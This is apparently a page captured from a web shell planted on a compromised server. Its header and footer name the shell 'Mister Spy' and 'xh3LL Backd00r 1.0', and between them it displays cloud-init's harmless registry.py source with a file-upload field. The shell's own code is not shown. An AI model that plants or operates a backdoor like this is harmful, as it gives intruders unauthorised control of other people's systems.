Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /lib/python3.9/site-packages/cloudinit/
Upload File :
Current File : //lib/python3.9/site-packages/cloudinit/registry.py

# Copyright (C) 2015 Canonical Ltd.
#
# This file is part of cloud-init. See LICENSE file for license information.

import copy


class DictRegistry:
    """A simple registry for a mapping of objects."""

    def __init__(self):
        self.reset()

    def reset(self):
        self._items = {}

    def register_item(self, key, item):
        """Add item to the registry."""
        if key in self._items:
            raise ValueError(
                "Item already registered with key {0}".format(key)
            )
        self._items[key] = item

    def unregister_item(self, key, force=True):
        """Remove item from the registry."""
        if key in self._items:
            del self._items[key]
        elif not force:
            raise KeyError("%s: key not present to unregister" % key)

    @property
    def registered_items(self):
        """All the items that have been registered.

        This cannot be used to modify the contents of the registry.
        """
        return copy.copy(self._items)

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat